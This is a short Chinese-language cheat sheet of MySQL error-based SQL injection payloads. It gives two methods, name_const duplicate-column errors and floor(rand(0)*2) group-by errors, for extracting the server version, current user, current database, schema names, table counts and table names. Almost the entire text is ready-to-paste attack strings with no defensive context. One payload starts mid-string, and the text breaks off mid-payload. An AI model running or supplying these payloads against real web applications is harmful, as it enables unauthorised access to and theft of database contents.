Mysql5.0.91下測試通過,對于5+的絕大部分版本可以測試成功
小部分版本使用name_const()時會報錯.可以用給出的Method.2測試

查詢版本:
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
join+(select+name_const(@@version,0))b)c)

Method.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
up by a)b)

查詢當前用戶:
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)

Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
and(0)*2))x+from+information_schema.tables+group+by+x)a)

查詢當前數據庫:
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)

Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)

依次爆庫
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 將n
順序替換

爆指定庫數目:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
+by+x)a)+and+1=1 0x6D7973716C=mysql

依次爆表:
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
